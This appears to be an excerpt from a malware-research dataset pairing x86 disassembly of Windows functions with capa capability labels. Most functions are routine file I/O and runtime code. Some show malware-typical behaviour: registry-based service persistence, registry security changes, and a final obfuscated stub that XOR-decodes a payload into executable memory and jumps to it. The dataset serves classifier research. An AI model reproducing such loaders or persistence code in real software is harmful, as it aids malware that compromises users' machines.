joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403280
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x4032ab
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00403a80
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x4032cd
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x4032cf
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x403353
jg 0x4032e4
test esi, esi
je 0x403353
test ecx, ecx
jl 0x40332d
jg 0x4032ee
test eax, eax
je 0x40332d
cmp edi, ecx
jg 0x403302
jl 0x4032f8
cmp esi, eax
jae 0x403302
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call fcn.004079f0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x30]
add edx, ecx
sub esi, ecx
sbb edi, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
jmp 0x403330
mov edx, dword [ebp + 8]
test edi, edi
jl 0x403353
jg 0x40333a
test esi, esi
je 0x403353
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x403353
push eax
push esi
push 1
push edx
call fcn.0040ccc1
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403370
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x38], 0
je 0x40339b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00403b60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [edi + 0x1c]
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], eax
test eax, eax
je 0x4033bd
mov eax, dword [edi + 0x2c]
mov eax, dword [eax]
jmp 0x4033bf
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test ebx, ebx
jl 0x40345e
jg 0x4033dc
test esi, esi
je 0x40345e
test ecx, ecx
jl 0x403429
jg 0x4033e6
test eax, eax
je 0x403429
cmp ebx, ecx
jg 0x4033fa
jl 0x4033f0
cmp esi, eax
jae 0x4033fa
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], ebx
push eax
push dword [esp + 0x18]
push dword [ebp + 8]
call fcn.004079f0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [edi + 0x2c]
add edx, ecx
sub esi, ecx
mov dword [esp + 0xc], edx
sbb ebx, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [edi + 0x1c]
add dword [eax], ecx
jmp 0x403430
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
test ebx, ebx
jl 0x40345e
jg 0x40343a
test esi, esi
je 0x40345e
cmp dword [edi + 0x4c], 0
je 0x40345e
mov ecx, edi
call fcn.00404250
push dword [edi + 0x4c]
push esi
push 1
push dword [esp + 0x18]
call fcn.0040d65c
add esp, 0x10
sub esi, eax
sbb ebx, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
pop edi
pop esi
sbb edx, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403790
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x433068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x4037c0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040650e
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x4037fc
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x4037fc
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040650e
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x4038e3
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x403824
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x403857
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.0040ae17
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040650e
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
test eax, eax
js 0x4038e3
cmp eax, 1
jle 0x4038b6
cmp eax, 3
jne 0x4038e3
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.0040ae17
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040650e
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x4038d3
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0040ccc1
add esp, 0x10
cmp edi, eax
jne 0x4038e3
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x4037e7
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040650e
mov esp, ebp
pop ebp
ret 4
Function at 0x404310
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x433068]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x38], 0
je 0x4043b1
cmp byte [esi + 0x3d], 0
je 0x4043b1
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x404367
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x404379
sub eax, 1
je 0x40437d
sub eax, 2
je 0x4043b1
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040650e
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40439a
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0040ccc1
add esp, 0x10
cmp edi, eax
jne 0x404367
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040650e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0040650e
mov esp, ebp
pop ebp
ret

Function at 0x414165
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00413fdb
Function at 0x1002a63
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3d80
jmp loc.0101034b

Function at 0x1002cda
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push dword [ebp + 0xc]
push 4
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
test eax, eax
jne 0x1002d8d
and dword [ebp - 4], eax
push 0x20a
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
mov dword [ebp - 8], eax
jne 0x1002d15
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1002d8d
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov ebx, 0x105
push ebx
push eax
push 0
jmp 0x1002d6a
lea eax, [ebp - 0xc]
push eax
push 0x60008
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x1002d7f
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call fcn.01002cda
push dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x1002d7f
inc dword [ebp - 4]
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp + 8]
call edi
mov esi, eax
test esi, esi
je 0x1002d29
cmp esi, 0x103
jne 0x1002d7f
xor esi, esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x10030bb
Capabilities:
Check if file exists
Get common file path
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 0x410]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x1003185
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov esi, 0x104
push esi
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call edi
mov ebx, dword [sym.imp.SHLWAPI.dll_StrCatBuffW]
push esi
push 0x1001450
lea eax, [ebp - 0x208]
push eax
call ebx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100313b
test al, 4
jne 0x100313b
or eax, 4
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call edi
push esi
push 0x100142c
lea eax, [ebp - 0x208]
push eax
call ebx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
pop edi
pop esi
pop ebx
je 0x1003185
test al, 4
jne 0x1003185
or eax, 4
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
leave
ret
Function at 0x401890
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x4018eb
cmp byte [esi + ebx - 1], 0xa
je 0x4018bf
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x4060a4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x402330
Capabilities:
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call dbg.wmain
mov dword [esp], eax
call sym._exit

Function at 0x402029
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4060e0
cmp edx, dword [eax]
je 0x40204b
add eax, 8
inc ecx
cmp eax, 0x406170
jl 0x40203c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4060e0]
jne 0x402179
mov eax, dword [0x40648c]
cmp eax, 1
je 0x402153
test eax, eax
jne 0x40207c
cmp dword [0x406034], 1
je 0x402153
cmp edx, 0xfc
je 0x402179
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4020b3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004026e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00402850
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4020f6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00402850
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4053a0
push edi
call fcn.00401160
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004026e0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004026f0
lea eax, [ebp - 0xa0]
push 0x405380
push eax
call fcn.004026f0
push dword [esi + 0x4060e4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004026f0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00403b61
add esp, 0x2c
pop edi
jmp 0x402179
lea eax, [ebp + 8]
lea esi, [esi + 0x4060e4]
push 0
push eax
push dword [esi]
call fcn.00402850
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x408027
Capabilities:
Encode data using xor

Disassembly:
enter 0, 0
pushal
mov ebx, 0x7fffffff
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov edi, esi
imul eax, edx, 0x10dcd
add eax, 0x116c5
xor edx, edx
div ebx
lodsd eax, dword [esi]
xor eax, edx
stosd dword es:[edi], eax
loop 0x40803c
popal
leave
ret 0xc
Function at 0x4055f1
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
mov byte [ebp - 1], dl
push eax
xor ebx, ebx
lea eax, [ebp - 8]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
mov edi, 0x403530
mov dword [ebp - 8], ebx
push edi
push reloc.OLEAUT32.dll_SysReAllocString
mov esi, ecx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x40564b
push eax
push edi
push 0x4030c0
call fcn.00405909
add esp, 0xc
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x405687
movzx eax, byte [ebp - 1]
push 4
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 4
push ebx
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x40567a
push eax
push esi
push 0x403120
call fcn.00405909
add esp, 0xc
jmp 0x40567c
mov bl, 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40568c
Capabilities:
Delete registry key
Delete registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x405745
mov ecx, 0x402508
mov eax, esi
mov dx, word [eax]
xor edi, edi
cmp dx, word [ecx]
jne 0x4056ce
test dx, dx
je 0x4056ca
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4056ce
add eax, 4
add ecx, 4
test dx, dx
jne 0x4056a6
mov eax, edi
jmp 0x4056d3
sbb eax, eax
or eax, 1
test eax, eax
je 0x405745
lea eax, [ebp - 8]
mov dword [ebp - 4], edi
push eax
lea eax, [ebp - 4]
mov dword [ebp - 8], edi
push eax
push edi
push 0x20006
push edi
push edi
push edi
mov edi, 0x403530
push edi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x40571f
push eax
push edi
push 0x403190
call fcn.00405909
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x405741
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
je 0x405736
push eax
push esi
push 0x4031f8
jmp 0x40570a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop edi
pop esi
leave
ret
mov esi, 0x4035c8
push esi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp eax, 2
je 0x40573f
test eax, eax
je 0x40573f
push eax
push esi
push 0x403268
call fcn.00405909
add esp, 0xc
jmp 0x40571b
Function at 0x40633e
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push 0x4036c8
mov dword [ebp - 4], esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push esi
mov ebx, eax
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 4]
push eax
push 0x403864
push 1
push esi
push 0x403854
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, eax
test edi, edi
jne 0x4063bd
mov eax, dword [ebp - 4]
xor ecx, ecx
push 0x40cf3c
push ecx
push ecx
mov esi, dword [eax]
push ecx
push ecx
push ecx
push ecx
mov ecx, dword [esi + 0xc]
push ebx
push eax
call dword [0x40e1a4]
call dword [esi + 0xc]
mov edi, eax
test edi, edi
jne 0x4063bd
xor esi, esi
push esi
push esi
push 3
push 4
push esi
push esi
push 0xa
push dword [0x40cf3c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov edi, eax
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x4063db
mov eax, dword [ecx]
push ecx
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x40e1a4]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4083a0
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x4091f0
call fcn.004089f8
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x40dcf8
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x4081c8
cmp eax, esi
jne 0x4081bb
xor esi, esi
inc esi
mov edi, esi
jmp 0x4081cb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40819f
xor esi, esi
inc esi
cmp dword [0x40dcfc], esi
jne 0x4081dd
push 0x1f
call fcn.00584000
pop ecx
jmp 0x408217
cmp dword [0x40dcfc], ebx
jne 0x408211
mov dword [0x40dcfc], esi
push 0x4012d8
push 0x4012cc
call fcn.004082fc
pop ecx
pop ecx
test eax, eax
je 0x408217
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4082ec
mov dword [0x40c798], esi
cmp dword [0x40dcfc], esi
jne 0x40823a
push 0x4012c8
push 0x4012b0
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x40dcfc], 2
test edi, edi
jne 0x408247
xor eax, eax
mov ecx, 0x40dcf8
xchg dword [ecx], eax
cmp dword [0x40dd08], 0
je 0x408273
push 0x40dd08
call fcn.00408850
pop ecx
test eax, eax
je 0x408273
push ebx
push 2
push ebx
mov esi, dword [0x40dd08]
mov ecx, esi
call dword [0x40e1a4]
call esi
push dword [0x40c7a4]
push dword [0x40c7a0]
push dword [0x40c79c]
call fcn.004042e2
add esp, 0xc
mov dword [0x40c794], eax
cmp dword [0x40c7ac], 0
jne 0x4082d1
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x40c798], 0
jne 0x4082e5
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x40c794]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.00408945
jmp 0x408183

Function at 0x408734
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x409230
call fcn.004089f8
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x408794
cmp eax, 0xffffffff
je 0x408794
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x40878d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x40878d
cmp edx, 0x10000000
jae 0x40878d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x40878a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x408800
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40883e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x408836
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x408840
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x408826
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x408910
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x408941
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x408941
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x408941
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x4098ac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x4098bb
pop dword [ebp - 0x14]
mov eax, 0x6333a82e
add eax, 0x9d0cf08d
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x37541
push 0
mov eax, 0xcf03a2d3
add eax, 0x313d3e4d
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xda144d1
sub ecx, 0xda10538
mov ebx, eax
mov esi, 0x5f602d39
sub esi, 0x5f1eb539
add esi, dword [ebp - 0x14]
mov edx, 0x46442eb3
sub edx, 0x1286689c
mov dword [ebp - 8], 0x39110375
mov edi, dword [esi]
add dword [ebp - 0xc], 0x370e5ee2
xor edi, edx
mov dword [ebx], edi
mov dword [ebp - 4], 0xd8c01b9c
add ebx, 0xa2a3ae36
add ebx, 0x5d5c51ce
add esi, 4
loop 0x40991a
add eax, 0x4c7a1a43
sub eax, 0x4c79290c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret